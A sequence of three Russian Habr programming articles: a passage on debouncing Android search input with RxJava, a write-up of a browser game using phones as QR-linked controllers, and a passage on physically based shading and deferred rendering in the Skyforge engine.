D/MainActivity: onQueryTextChange: SOMETHING ELS
D/MainActivity: onQueryTextChange: SOMETHING ELSE
D/MainActivity: onQueryTextChange: SOMETHING ELSE
D/MainActivity: onQueryTextSubmit: SOMETHING ELSE
```
Происходит 20 вызовов API! Небольшая задержка сократит количество этих вызовов. Я также хочу избавиться от дубликатов, чтобы обрезанный текст не приводил к повторным запросам. Ещё я, вероятно, захочу отфильтровать некоторые элементы. Например, нужна ли возможность поиска без введённых символов или поиска по одному символу?
Реактивное программирование
---------------------------
Есть несколько вариантов дальнейших действий, но прямо сейчас я хочу сосредоточиться на технике, которая широко известна как реактивное программирование и библиотека RxJava. Когда я впервые столкнулся с реактивным программированием, то увидел следующее описание:
> [ReactiveX](http://reactivex.io/) — это API, который работает с асинхронными структурами и манипулирует потоками данных или событиями, используя сочетания паттернов Observer и Iterator, а также особенности функционального программирования.
Это определение не полностью объясняет сущность и сильные стороны ReactiveX. А если и объясняет, то только тем, кто уже знаком с принципами работы этого фреймворка. Я также видел такие диаграммы:
Диаграмма объясняет роль оператора, но не позволяет полностью разобраться в сути. Итак, давайте посмотрим, смогу ли я понятнее объяснить данную диаграмму на простом примере.
Давайте сначала подготовим наш проект. Вам понадобится новая библиотека в файле `build.gradle` вашего приложения:
```
implementation "io.reactivex.rxjava2:rxjava:2.1.14"
```
Не забудьте синхронизировать зависимости проекта, чтобы загрузить библиотеку.
Теперь давайте рассмотрим новое решение. Используя старый метод, я обращался к API при вводе каждого нового символа. C помощью нового способа я собираюсь создать `Observable`:
```
override fun onCreateOptionsMenu(menu: Menu?): Boolean {
menuInflater.inflate(R.menu.menu_main, menu)
val searchView = menu?.findItem(R.id.action_search)?.actionView as SearchView
// Set up the query listener that executes the search
Observable.create(ObservableOnSubscribe { subscriber ->
searchView.setOnQueryTextListener(object : SearchView.OnQueryTextListener {
override fun onQueryTextChange(newText: String?): Boolean {
subscriber.onNext(newText!!)
return false
}
override fun onQueryTextSubmit(query: String?): Boolean {
subscriber.onNext(query!!)
return false
}
})
})
.subscribe { text ->
Log.d(TAG, "subscriber: $text")
}
return super.onCreateOptionsMenu(menu)
}
```
Этот код выполняет абсолютно то же самое, что и старый код. Логи выглядят следующим образом:
```
D/MainActivity: subscriber: T
D/MainActivity: subscriber: TE
D/MainActivity: subscriber: TES
D/MainActivity: subscriber: TEST
D/MainActivity: subscriber: TEST
```
Тем не менее, ключевое отличие использования нового приёма заключается в наличии реактивного потока — `Observable`. Обработчик текста (или обработчик запроса в данном случае) отправляет элементы в поток, используя метод `onNext()`. А у `Observable` есть подписчики, которые и обрабатывают эти элементы.
Мы можем создать цепочку методов перед подпиской, чтобы уменьшить список строк для обработки. Начнём с того, что отправленный текст всегда будет находиться в нижнем регистре и в нём не будет пробелов в начале и конце строки:
```
Observable.create(ObservableOnSubscribe { ... })
.map { text -> text.toLowerCase().trim() }
.subscribe { text -> Log.d(TAG, "subscriber: $text" }
```
Я сократил методы, чтобы показать наиболее значимую часть. Теперь те же логи выглядит следующим образом:
```
D/MainActivity: subscriber: t
D/MainActivity: subscriber: te
D/MainActivity: subscriber: tes
D/MainActivity: subscriber: test
D/MainActivity: subscriber: test
```
Теперь давайте применим задержку на 250мс, ожидая большего количества контента:
```
Observable.create(ObservableOnSubscribe { ... })
.map { text -> text.toLowerCase().trim() }
.debounce(250, TimeUnit.MILLISECONDS)
.subscribe { text -> Log.d(TAG, "subscriber: $text" }
```
И, наконец, удалим дубликаты потока, чтобы только первый уникальный запрос был обработан. Последующие идентичные запросы будут игнорироваться:
```
Observable.create(ObservableOnSubscribe { ... })
.map { text -> text.toLowerCase().trim() }
.debounce(100, TimeUnit.MILLISECONDS)
.distinct()
.subscribe { text -> Log.d(TAG, "subscriber: $text" }
```
> **Прим. перев.** В данном случае разумнее использовать оператор `distinctUntilChanged()`, потому что иначе в случае повторного поиска по какой-либо строке запрос просто проигнорируется. А при реализации такого поиска разумно обращать внимание только на последний успешный запрос и игнорировать новый в случае его идентичности с предыдущим.
В конце отфильтруем пустые запросы:
```
Observable.create(ObservableOnSubscribe { ... })
.map { text -> text.toLowerCase().trim() }
.debounce(100, TimeUnit.MILLISECONDS)
.distinct()
.filter { text -> text.isNotBlank() }
.subscribe { text -> Log.d(TAG, "subscriber: $text" }
```
На этом этапе вы заметите, что выводится только одно (или, может быть, два) сообщение в логах, что говорит о меньшем количестве вызовов API. При этом приложение будет продолжать адекватно работать. Более того, случаи, когда вы вводите что-либо, но затем удаляете и вводите снова, также приведут к меньшему количеству обращений к API.
Существует ещё много различных операторов, которые вы можете добавить в этот пайплайн в зависимости от ваших целей. Я считаю, что они весьма полезны для работы с полями ввода, которые взаимодействуют с API. Полный код выглядит следующим образом:
```
// Set up the query listener that executes the search
Observable.create(ObservableOnSubscribe { subscriber ->
searchView.setOnQueryTextListener(object : SearchView.OnQueryTextListener {
override fun onQueryTextChange(newText: String?): Boolean {
subscriber.onNext(newText!!)
return false
}
override fun onQueryTextSubmit(query: String?): Boolean {
subscriber.onNext(query!!)
return false
}
})
})
.map { text -> text.toLowerCase().trim() }
.debounce(250, TimeUnit.MILLISECONDS)
.distinct()
.filter { text -> text.isNotBlank() }
.subscribe { text ->
Log.d(TAG, "subscriber: $text")
}
```
Теперь я могу заменить сообщение логов обращением ко ViewModel, чтобы инициировать вызов API. Однако это уже тема для другой статьи.
Заключение
----------
С помощью этой простой техники обёртывания текстовых элементов в `Observable` и использования RxJava вы можете сократить количество вызовов API, которые необходимы для выполнения операций с сервером, а также улучшить отзывчивость вашего приложения. В этой статье мы затронули лишь малую часть целого мира RxJava, поэтому я оставляю вам ссылки для дополнительного чтения на эту тему:
* [Grokking RxJava](http://blog.danlew.net/2014/09/15/grokking-rxjava-part-1/) от Дэна Лью (это сайт, который помог меня двигаться в правильном направлении).
* [Сайт ReactiveX](http://reactivex.io/) (я часто ссылаюсь на этот сайт при построении пайплайнов). | https://habr.com/ru/post/430394/ | null | ru | null |
# Консоли больше не нужны (но это не точно)
Доброго времени суток, уважаемые читатели. Я не знаю делал ли кто-то что-то подобное до меня, поэтому решил поделиться идеей моего [pet-проекта](https://strangebird.ru/) и отнять у вас немного времени.
Вначале был кролик
------------------
С детства я любил играть в игры, сейчас мало что изменилось. Еще больше мне нравится провести пару часов в игре с друзьями/коллегами/детьми. К сожалению не всегда под рукой оказывается консоль с контроллерами. Именно эту сложность я и попытаюсь решить.
Идея использовать в качестве контроллера свой телефон возникла в моей голове [очень давно](https://habr.com/ru/post/274271/). На протяжении многих лет я продолжал думать на эту тему, но откладывал реализацию по массе причин. В итоге сменил несколько работ, переехал из северной столицы в первопрестольную, и наконец-то решил сделать хотя бы [demo-версию](https://strangebird.ru/), чтобы понять, насколько эта идея хороша.
Все началось с того,что однажды летом прошлого года я предложил сыну помочь придумать персонажа для игры. Так появился кролик.
mr. RabbitОсновная идея
-------------
Представьте - к вам пришли внезапные гости, настолки на даче, консоль в ремонте, а по зомбоящику полнейшая дичь. Представили? Отлично! Вы[**открываете сайт**](https://strangebird.ru/) с игрой на компьютере/smartTV/проекторе/планшете/.../на чем угодно, где есть браузер, **сканируете qr-код** своим телефоном, который тут же превращается в контроллер - **и вперед**!
Как веб-разработчик я вовсе не понимаю в разработке игр, поэтому в качестве жанра для демо-версии основной идеи я выбрал двухмерный шутер с пиксельной графикой.
Сам по себе процесс разработки и отрисовки спрайтов занял не больше пары недель, все делалось в свободное время и демка была закончена спустя 8 месяцев, после появления первого изображения первого персонажа.
Персонажи
---------
В качестве участников перестрелки были выбраны следующие существа: кролик, гусь, человек, собака. Каждый персонаж был нарисован в 4-х направлениях ([right, left, front, back](https://strangebird.ru/sprites/rabbit/rabbit.html)) и в 2-х состояниях (стоит, идет). Весь процесс вместе с анимацией для ходьбы занял дней пять с учетом дачных, домашних и прочих дел.
Я не буду углубляться в процесс рисования и анимации пиксельных персонажей, скажу только, что старался придерживаться минимума цветов, а перед тем, как приступить к рисованию, посмотрел несколько роликов на youtube. Запомнилось мне только [одно](https://www.youtube.com/watch?v=vgxkSO9SoW4) (ссылка не реклама, но после просмотра этого видео, я все понял, закрыл youtube и сел рисовать)
Подготовка к кодингу и первые сложности
---------------------------------------
Веб-разработка, как вы знаете, это достаточно большой стек различных технологий, поэтому необходимо было определиться с тем, что использовать, а что нет.
Я намеренно (чтобы сыну проще было потом разобраться в коде и доработать) пошел наиболее простым и наглядным путем, отказавшись от использования фреймворков, сторонних библиотеки и т.д. В итоге получилось:
1. **фронт** - html, canvas, css, js, canvas
2. **бэк** - php, mySQL
Нестареющая классика, так сказать.
В качестве хостинга я просто решил использовать свой хостинг от BEGET(в конце концов речь идет о демо-версии, к тому же у меня был бесхозный домен).
Быстренько поднял GIT - теперь самое интересное.
p.s. *Спустя неделю разработки, зайдя после бани в гости к товарищу, я с удивлением обнаружил, что не все smartTV поддерживают canvas, поэтому* ***canvas был заменен на div****.*
Логика в двух словах
--------------------
При открытии страницы с игрой формируется уникальный id этой игровой сессии, создается новая строчка в базе данных и формируется qr-код для контроллера, в котором в качестве GET-параметра передается вышеупомянутый id (для генерации qr-кода я использовал API первой ссылки в гугле).
После сканирования кода телефоном мы позволяем выбрать из оставшихся персонажей и показываем контроллер для управления выбранным.
Со стороны страницы с игрой мы просто 10 раз в секунду (60 fps тут не надо) делаем запрос в базу, берем оттуда данные и на их основе считаем и рисуем текущее состояние игры на экране, реализуя таким образом игровой цикл.
Контроллер
----------
Сами понимаете, у экрана телефона нет тактильного контакта, поэтому единственный способ сделать так, чтобы человек не промахивался по кнопкам - сделать их большими. Немного верстки на гридах и готово.
Для наглядности я оставил вывод на экран значения , которые падают в базу данных:
Логика работы контроллера такова:
1. нажали кнопку->изменили состояние объекта->положили в базу
2. отжали кнопку->изменили состояние объекта->положили в базу
Есть пара нюансов. При стрельбе необходимо через некоторое время "обнулять" свойство shoot (чтобы не было непрерывных очередей). Ну и в качестве событий для нажатия использовать **touchstart** и **touchend** соответственно. Ниже пример на jq для наглядности.
```
$(document).on("touchstart mousedown", ".button", function(e){
if (this.id==='fire') {
personToSend.shoot=1;
showPerson();//покажем на экране состояние
sendStateToDB(); //отправим его в базу
setTimeout(nullFire, 100); //обнулим стрельбу
} else {
personToSend.move=1;
personToSend.direction=this.id;
showPerson();
sendStateToDB();
}
});
```
Больше про контроллер сказать нечего. Как я и говорил, **demo-версия максимально проста для понимания.**
Фронтенд со стороны браузера с игрой
------------------------------------
**Тут вышло немного посложнее, но тоже достаточно просто.**
**Всего в игре используется 5 классов:**
1. **СlassGame** - управляет игрой
2. **ClassEntity** - в нем всего 2 метода - конструктор и рисование объекта
3. **ClassFlower** (наследуется от ClassEntity) - добавляет немного декораций
4. **ClassPerson** (наследуется от ClassEntity) - для рисования и перемещения персонажей
5. **ClassBullet** (тоже наследуется от ClassEntity) - для рисования и перемещения пулек
Еще есть отдельный js файл в котором создается объект игры и запускается игровой цикл.
Несколько вещей, которые хотел сказать, но не пришлось к слову:
---------------------------------------------------------------
1. В ходе тестирования оказалось, что некоторые smartTV не умеют использовать cloneNode и не понимают append от js, хотя волшебным образом понимают append от jq. Поэтому и пришлось использовать эту библиотеку. (разбираться почему так происходит не было времени, да и я не [bootstrap 5](https://getbootstrap.com/docs/5.0/getting-started/introduction/), чтобы совсем отказываться от jq)
2. Для придания игре 3-d эффекта близкие предметы я делал с большим z-index, дальние соответственно с меньшим
3. QR-код лучше читается на светлом фоне
4. Звук в игре нельзя запустить сразу, а можно только по клику на кнопку включения звука. Насколько я понял, такая ситуация считается нормальной в современном вебе. И действительно, зачем навязывать пользователю всякие лишние раздражители
5. Айфоны при дабл-клике увеличивают страницу, поэтому пользователи айфонов испытывают дискомфорт. У этой группы пользователей также могут возникнуть сложности со сканированием QR-кода стандартными средствами
6. Спрайты необходимо рисовать одинакового размера для всех состояний персонажа
7. Для отслеживания столкновений в данном случае идеально подходит решение задачи о пересечении 2-х квадратов с известными размерами сторон и координатами верхних левых вершин
8. Рисовать пиксельных персонажей очень занятно, анимировать их - боль
9. И пожалуй, последнее [WebStorm](https://www.jetbrains.com/ru-ru/webstorm/) - идеальная IDE. Жаль, что лицензия, которую выдал [Яндекс Практикум](https://praktikum.yandex.ru/), заканчивается завтра.
Пара мыслей напоследок
----------------------
[Демка](https://strangebird.ru/), которую я сделал, конечно забавная, но не претендует на роль полноценной игры. Можно сыграть пару раз с друзьями за кружкой ~~пива~~ чая в гостях, или во время обеденного перерыва в офисе с коллегами. Однако, обратите внимание на то, какие перспективы открываются перед нами:
1. Можно портировать олдскульные игры и играть где угодно
2. Можно попробовать прикрутить стриминговые сервисы и играть где угодно
3. Можно не отображать контроллер в браузере мобильника, а написать приложение, которое будет сканировать и оно же будет контроллером
4. Можно придумывать игры с расширенным геймплеем ( у дочки в телефоне живет тамагочи и она его может выпускать в телевизор подруги, когда приходит в гости. Или покупка/продажа предметов в любимой RPG осуществляется при помощи drag and drop в мобильнике в то время как персонаж стоит возле лавки. Или покер с друзьями в пятницу, но карты у вас в мобильнике. Или настолки с картами, которые можно сканировать, а отображение игровой ситуации на большом экране и т.д. все ограничивается только фантазией)
5. Можно сделать механический контроллер, который будет подключаться к wi-fi и уметь сканировать qr-код, таким образом вопрос с тактильными ощущениями будет решен
6. В конечном счете можно будет просто покупать у стримингового сервиса вышеупомянутый контроллер, вместо того, чтобы покупать целую консоль.
7. и т. д.
Как видите, простор для размышления просто безграничен. И мне кажется, эта идея потенциально имеет хорошее будущее.
Я с радостью отвечу на все ваши вопросы и послушаю ваши мысли по поводу написанного выше. | https://habr.com/ru/post/549628/ | null | ru | null |
# Skyforge: технологии рендеринга
Всем привет! Меня зовут Сергей Макеев, и я технический директор в проекте Skyforge в команде Allods Team, игровой студии Mail.Ru Group. Мне хотелось бы рассказать про технологии рендеринга, которые мы используем для создания графики в Skyforge. Расскажу немного о задачах, которые стояли перед нами при разработке Skyforge с точки зрения программиста. У нас свой собственный движок. Разрабатывать свою технологию дорого и сложно, но дело в том, что на момент запуска игры (три года назад) не было технологии, которая могла бы удовлетворить всем нашим запросам. И нам пришлось самим создать движок с нуля.
Основной арт-стиль игры — это смесь фентези с Sci-Fi. Чтобы реализовать задумки арт-директора и художников, нам нужно было создать очень сильную, мощную систему материалов. Игрок может видеть проявления магии, технологии и природные явления, и система материалов нужна, чтобы правдоподобно нарисовать все это на экране. Еще одним «столпом» нашего графического стиля является то, что мы создаем стилизованную реальность. То есть объекты узнаваемы и выглядят реалистично, но это не фотореализм из жизни. Хорошим примером, на мой взгляд, является фильм «Аватар». Реальность, но реальность художественно приукрашенная, реальность и в то же время сказка. Следующий столп графического стиля — освещение и материалы — выглядят максимально естественно. А «естественно» с точки зрения программиста — это значит «физично».
Важный момент для программиста: нам нужны огромные открытые пространства. В игре существуют как небольшие локации-инстансы, так и огромные территории, на которых находится много игроков. На этом видео вы можете посмотреть, чего мы добились на текущий момент. Все, что показано в видео, отрендерено с помощью игры в максимальных настройках
Далее я расскажу о том, как мы добились такой картинки.
Physically based shading (шейдинг, основанный на законах физики)
================================================================
Зачем нужен шейдинг, основанный на физике?
* Это дает нам более реалистичную и сведенную картинку. 3D-модели, сделанные разными художниками, выглядят целостно в разных типах освещения. Картинка меньше разваливается на части, и художникам по освещению не нужно сводить все варианты освещения со всеми 3D-моделями.
* Материалы можно настраивать отдельно от света. То есть художники по материалам и художники по свету могут работать параллельно. Корректно настроенные физичные материалы при любом освещении выглядят как положено, не становятся неожиданно черными и пересвеченными, как это часто бывало раньше, при нефизичных материалах.
* Параметров материала стало меньше, и все они имеют физический смысл. Художникам легче ориентироваться в этих параметрах. Конечно, сначала им приходится переучиваться, но потом работа становится гораздо более предсказуемой.
* Соблюдение закона сохранения энергии в системе материалов означает, что художникам по свету проще работать. Нельзя, настраивая свет, «рассыпать» картинку на части.
* Кстати, физическая корректность не обязывает нас к фотореализму. Например, все последние мультфильмы, созданные студиями Pixar и Disney, сделаны с помощью физического рендера. Но при этом там нет фотореализма, а присутствует вполне узнаваемая стилизация.
Физика процесса
===============
Прежде чем программировать что-либо, надо сначала понять физику процесса. Что происходит, когда свет отражается от поверхности? В реальной жизни, в отличие от компьютерной графики, поверхности не гладкие, а на самом деле состоят из множества маленьких неровностей. Эти неровности настолько мелкие, что глазом их не видно. Однако они достаточно большие, чтобы влиять на свет, отраженный от поверхности. Здесь на картинке я назвал это микроповерхностью.
Вот пример из реальной жизни. На картинке лист бумаги А4 под электронным микроскопом. Видно, что лист бумаги на самом деле состоит из множества переплетенных древесных волокон, но глаз их не различает.
Для масштаба я вывел длины волн для разного спектра освещения в нанометрах и выделил на скане бумаги квадрат со стороной в 100000 нанометров. Очевидно, что хотя мы и не видим эти волокна, они оказывают влияние на отражение света.
Рассчитывать освещение с таким уровнем детализации не под силу даже офлайн-рендерам для кино. Это огромное количество вычислений.
Итак, микрогеометрия поверхности. Часть света проникает внутрь и переизлучается после случайных отражений внутри материала или поглощается — превращается в тепло. Часть падающего света отражается от поверхности. Существует разница в том, как разные материалы отражают свет. Две группы, которые ведут себя по-разному — это диэлектрики и проводники (металлы). Внутрь металлов свет не проникает, а практически весь отражается от поверхности. От диэлектриков свет же в основном переизлучается, а отражается малое количество света — около 5%.
Теория — это хорошо, но мы создаем компьютерную игру и оперируем не лучами света, а пикселями на экране. При этом каждый пиксель — это большое количество фотонов света. И весь этот свет может быть поглощен, переизлучен или отражен. Это нам и предстоит рассчитать при разработке шейдеров.
BRDF
====
С физикой процесса в общих чертах определились, перейдем к математической модели. Основная функция, которая позволит нам определить, какой процент света был отражен, а какой переизлучен или поглощен, называется **BRDF** (Bidirectional Reflection Distribution Function) или по-русски **ДФОС** (двухлучевая функция отражательной способности). Цель данной функции — рассчитать количество энергии, излучаемой в сторону наблюдателя при заданном входящем излучении. В теории это многомерная функция, которая может зависеть от большого количества параметров 3D, 4D, 6D.
Мы же на практике будет рассматривать функцию от двух параметров **F(l, v)**, где **l** — направление от точки поверхности на источник света, а **v** — направление взгляда.
BRDF для рассеянного света (Diffuse)
====================================
Для модели переизлученного света мы делаем несколько допущений:
* можем пренебречь точкой входа и выхода луча, т.к. это очень незначительная в нашем случае величина;
* считаем, что все переизлученные лучи равномерно распределены внутри полусферы.
Поведение фотона внутри материала очень сложное, и для текущего развития компьютерной графики это нормальное приближение, к тому же оно в достаточной мере соответствует реальным физическим замерам.
Получаем следующую функцию для расчета переизлученного (рассеянного) света.
**l** — направление на источник света, **v** — направление взгляда, оно никак не используется в данной упрощенной модели, т.к. все энергия переизлучается равномерно по полусфере.
**albedo (rgb)** — определяет, сколько энергии поглощает поверхность, а сколько переизлучает. Так, к примеру, поверхность с абсолютно черным albedo всю энергию поглощает (преобразует в тепло). На самом деле это известный всем графическим программистам **dot(n, l)**, за исключением деления на **PI**. Деление на **PI** нужно для соблюдения закона сохранения энергии. Т.к. свет рассеивается по полусфере, то при n, равном **l**, мы отразим падающий свет без изменения интенсивности во все стороны по полусфере, что физически невозможно. Но обычно интенсивность источника света, переданная в шейдер, уже учитывает деление на **PI**, поэтому в шейдере остается только **dot(n,l)**.
Мы знаем, что скалярное произведение векторов (dot) — это косинус между этими векторами. Возникает вопрос: как угол падения света влияет на количество переизлученного света? Ответ прост: площадь проекции зависит от угла падения луча на поверхность и равна косинусу угла падения. Соответственно, чем острее угол падения, тем меньше энергии попадает на поверхность.
*Свет падает под «тупым» углом*
*Свет падает под острым углом, площадь проекции стала больше*
BRDF для отраженного света (Specular)
=====================================
Перейдем к модели отраженного света. Всем известно, что угол падения равен углу отражения, но на приведенной картинке отраженных лучей стало много. Так происходит из-за микронеровностей поверхности. Благодаря этим неровностям каждый отдельный фотон отражается немного в разную сторону. Если поверхность достаточно гладкая, то большинство лучей отражаются в одну сторону и мы видим четкое отражение предметов, вроде как в зеркале.
Если поверхность более шероховатая, то гораздо большее количество лучей отражаются в разные стороны, и тогда мы видим очень матовое отражение. Для сильно неровной поверхности отраженный свет может быть распределен равномерно внутри полусферы и выглядеть для внешнего наблюдателя как рассеянный свет.
Microfacet Theory
=================
Для моделирования эффекта отражения света от поверхности с учетом микрогеометрии поверхности была разработана Microfacet Theory. Это математическая модель, которая представляет поверхность в виде множества микрограней, ориентированных в разные стороны.При этом каждая из микрограней является идеальным зеркалом и отражает свет по тому же простому закону: угол падения равен углу отражения.
Для того чтобы рассчитать освещение в точке, нам нужно рассчитать сумму вклада отраженного света каждой из микрограней. Т.е. нам нужен интеграл. Микрограней в точке очень много, и мы не можем просто взять и численно проинтегрировать. Будем находить решение интеграла в аналитическом виде (приближенно). Вот как в общем виде выглядит функция для расчета отраженного света.
Это функция отраженного света Кука-Торренса.
**l** — направление света
**v** — направление взгляда наблюдателя
**n** — нормаль к поверхности
**h** — вектор между векторами **l** и **v** (half vector)
**D**(h) — функция распределения микро граней
**F**(v,h) — функция Френеля
**G**(l, v, h) — функция затенения микро граней
Все параметры данной функции достаточно простые и имеют физический смысл. Но какой физический смысл имеет half-vector? Half-vector нужен, чтобы отфильтровать те микрограни, которые вносят свой вклад в отражение света для наблюдателя. Если нормаль микрограни равна half-vector, значит данная микрогрань вносит вклад в освещение при направлении взгляда **V**.
Расcмотрим подробнее члены нашей BRDF.
Функция распределения микро граней D(h)
=======================================
В качестве функции распределения отраженного от микрограней света мы используем степень косинуса, с нормированием для соблюдения закона сохранения энергии. Для начала мы берем коэффициент шероховатости поверхности, который лежит в диапазоне 0..1, и раcчитываем из него степень альфа, которая лежит в диапазоне 0.25 — 65536. Далее мы берем скалярное произведение **N** и **H** векторов и возводим их в степень альфа. И чтобы получившийся результат не нарушал закон сохранения энергии, мы применяем константу нормализации **NDF**.
Без нормализации от поверхности будет отражаться больше энергии, чем пришло. Таким образом мы задаем объем, в котором происходит отражение света и распределение энергии в этом объеме. И этот объем зависит от того, насколько гладкая или шероховатая поверхность. Теперь рассмотрим следующий член BRDF.
Функция Френеля F(v,h)
======================
Сила отражения света, зависит от угла падения. Это поведение описывается формулами Френеля. Формулы Френеля определяют амплитуду и интенсивность отраженной и преломленной электромагнитной волны при прохождении через границу двух сред. Этот эффект очень заметен на воде, если смотреть на воду под острым углом, то вода отражает большинство света и мы видим отражение. Если же смотреть на воду сверху-вниз, то отражения мы практически не видим, а видим то, что находится на дне.
Вот так, к примеру, выглядит график отраженного света в зависимости от угла падения для различных материалов. Табличные данные я взял с сайта <http://refractiveindex.info/>
На графике видно, что пластик практически весь свет рассеивает, но не отражает, пока угол падения не станет 60-70 градусов. После чего количество отраженного света резко увеличивается. Для большинства диэлектриков график будет схожий.
Гораздо интереснее ситуация с металлами. Металлы отражают очень много света под любым углом, но количество отраженного света разное для разной длины волны. Пунктирные графики показывают отражение света для меди. Длины волн соответствуют красному, зеленому и синему цветам. Как видно, красного цвета медь отражает гораздо больше, именно поэтому металлы окрашивают отраженный свет в цвет своей поверхности. А диэлектрики отражают свет, не окрашивая его.
В качестве функции для расчета Френеля мы используем аппроксимацию Шлика, т.к. оригинальные уравнения Френеля слишком тяжелые для вычислений в реальном времени.
Как видно, в функции Шлика участвуют **H** и **V** вектора, с помощью которых определяют угол падения, и **F0**, с помощью которого практически задается тип материала. Коэфицент **F0** возможно рассчитать, зная **Index of refraction (IOR)** материала, который мы моделируем. Фактически его можно найти в справочниках в интернете. Т.к. мы знаем, что **IOR** воздуха 1, то, зная табличный **IOR** материала, мы рассчитываем **F0** по формуле
Физический смысл **F0** следующий — это процент отраженного под прямым углом света. Итак: френель задает, сколько света будет поглощено, а сколько отражено в зависимости от угла падения.
**F0** используется в аппроксимации Шлика и задает, сколько света отражается под прямым углом к поверхности. Обычное значение **F0** для диэлектриков **2% — 5%**, т.е. диэлектрики мало отражают и много рассеивают.
Металлы практически весь свет отражают, при этом для разных длин волн это количество разное. Отражения на металлах окрашиваются в цвет поверхности. Теперь рассмотрим следующий член BRDF.
Функция затенения микро граней G(l, v, h)
=========================================
На самом деле, не каждая микрогрань, нормаль которой соответствует half-vector'у, вносит свой вклад в освещение. Луч, отраженный микрогранью, может не достичь наблюдателя.
Отраженному лучу может помешать микрогеометрия поверхности. Видно, что часть отраженных лучей не достигнет наблюдателя. Таким образом, не все микрограни будут участвовать в отражении света. Мы используем простейшую функцию видимости. Фактически мы считаем, что все микрограни отражают свет. Это допустимо с нашей функцией распределения отраженного света.
Если представить, что микроповерхность задана картой высот (выпуклая), то, если смотреть на поверхность под прямым углом и освещать поверхность тоже под прямым углом, но нет таких микрограней, которые не участвуют в освещении, т.к. поверхность выпуклая. При этом наша функция стремится к нулю при больших углах, что также согласуется с представлением микрогеометрии в виде карты высот. Т.к. чем острее угол, тем меньше микрограней отражают свет.
Так выглядит наша финальная функция для расчета отраженного света:
Это соответствует нормированной модели Блина-Фонга с представлением микроповерхности в виде карты высот. Вот несколько картинок-примеров, как параметры материала, шероховатость и IOR влияют на внешний вид материала.
Сохранение энергии
==================
Я уже неоднократно упоминал про сохранение энергии. Сохранение энергии означает простую вещь: сумма отраженного и рассеянного света должна быть меньше или равна единице. Из этого следует важное для художников свойство: яркость и форма/площадь блика отраженного света связаны. Такой связи раньше не было в нефизичном рендере, т.к. там возможно нарушать закон сохранения энергии. Для примера — серия изображений. Источник света на всех картинках одинаковый, я буду изменять только шероховатость поверхности.
Видно, что чем на меньшей площади распределен блик, тем он ярче.
Интенсивность источника света
=============================
Наша модель опирается на физику, и нам важно использовать честное затухание энергии источника света. Мы знаем, что интенсивность света обратно пропорциональна квадрату расстояния до источника света. Это поведение можно описать следующей формулой:
Эта функция хорошо подходит для описания, как затухает энергия, но имеет несколько недостатков:
* мы хотим учитывать затухание энергии не от точки в пространстве, а от объема, т.к в реальной жизни не существует источников света, не имеющих собственного размера;
* интенсивность излучения, описанная этой функцией, стремится к нулю, но никогда его не достигает. Мы же хотим, чтобы на определенном расстоянии интенсивность стала равна нулю. Это простая оптимизация вычислительных ресурсов, нам не нужно рассчитывать то, что не влияет на финальный результат.
Для новой функции затухания света нам нужны будут два новых параметра:
**Rinner** — размер источника света.
**Router** — дистанция, на которой нам больше не важен вклад источника в освещение.
Наша функция затухания:
Обладает следующими свойствами:
* Константна внутри **Rinner**.
* На дистанции **Router** равна **0**.
* Соответствует квадратичному закону затухания.
* Достаточно дешева для расчета в шейдере.
```
//функция расчета затухания для источника света
float GetAttenuation(float distance, float lightInnerR, float invLightOuterR)
{
float d = max(distance, lightInnerR);
return saturate(1.0 - pow(d * invLightOuterR, 4.0)) / (d * d + 1.0);
}
```
Вот сравнение двух графиков. Квадратичное затухание и наше. Видно, что большую часть наша функция совпадает с квадратичной.
Модель материала
================
С физикой и математикой процессов разобрались. Теперь определимся, на что же влияют художники. Какие именно параметры они настраивают? Наши художники задают параметры материалов через текстуры. Вот какие текстуры они создают:
| | для диэлектриков | для металлов |
| --- | --- | --- |
| Base color | задает значение albedo | задает векторную часть F0 |
| Normal | нормаль к поверхности (макро уровень) | нормаль к поверхности (макро уровень) |
| Roughness (Gloss) | шероховатость поверхности (микро уровень) | шероховатость поверхности (микро уровень) |
| Fresnel F0 | тип материала (IOR) для диэлектриков практически всегда константа | для металлов скалярная часть F0 |
| Metal | всегда 0 | всегда 1 |
Вот пример свойств поверхности такого механического пегаса:
*albedo*
*normal*
*gloss*
*FO (IOR)*
*metal*
Для упрощения работы наши художники составили достаточно большую библиотеку материалов. Вот некоторые примеры.
Deferred Shading
================
При разработке Skyforge мы используем модель отложенного шейдинга. Это широко распространенный в настоящее время метод. Метод называется отложенным, т.к. во время основного прохода рендеринга происходит только заполнение буфера, содержащего параметры, необходимые для расчета финального шейдинга. Такой буфер параметров называют G-Buffer, сокращение от geometry buffer.
Кратко опишу плюсы и минусы отложенного шейдинга:
**Плюсы:**
* Шейдеры геометрии и освещения разделены.
* Легко сделать большое количество источников света.
* Отсутствие комбинаторного взрыва в шейдерах.
**Минусы:**
* Bandwidth. Нужна большая пропускная способность памяти, т.к. буфер параметров поверхности достаточно толстый.
* Источники света с тенями по-прежнему дорогие. Источники света без теней имеют достаточно ограниченное применение.
* Сложность встраивания различных BRDF. Тяжело сделать разную модель освещения для разных поверхностей. Например, BRDF для волос или анизотропного металла.
* Прозрачность. Практически не поддерживается, прозрачность нужно рисовать после того как основная картинка нарисована и освещена.
Основной минус технологии — нужна большая пропускная способность памяти. Мы стараемся максимально упаковать параметры поверхности, необходимые для освещения. В результате мы пришли к формату, который укладывается в 128 бит на пиксель — 96, если не учитывать информацию о глубине.
Как мы храним свойства поверхности (128 бит на пиксель).
**Skyforge G-Buffer**
Tips & Tricks
=============
Реконструкция позиции
=====================
При использовании Deferred shading мы часто сталкиваемся с необходимостью реконструкции позиции пикселя в различных пространствах. Например, world space, view space, shadow space и т.д. В нашем GBuffer'e же мы храним только глубину пикселя, используя аппаратный depth buffer. Нам нужно уметь решать задачу: как быстро получить позицию пикселя в пространстве, имея только аппаратную глубину, которая к тому же имеет гиперболическое распределение, а не линейное. Наш алгоритм делает такое преобразование в два этапа.
Преобразование в линейную глубину
=================================
После того как мы заполнили Gbuffer, мы преобразуем depth buffer с гиперболическим распределением в линейный. Для этого мы используем полноэкранный шаг, «выпрямляющий» глубину. Преобразование происходит с помощью такого шейдера:
```
// Функция для преобразования глубины с гиперболическим распределением в линейную
float ConvertHyperbolicDepthToLinear(float hyperbolicDepth)
{
return ((zNear / (zNear-zFar)) * zFar) / (hyperbolicDepth - (zFar / (zFar-zNear)));
}
```
Линейную глубину мы сохраняем в формате R32F и потом на всех этапах рендера используем только линейную глубину. Второй этап — это реконструкция позиции, используя линейную глубину.
Реконструкция позиции с помощью линейной глубины
================================================
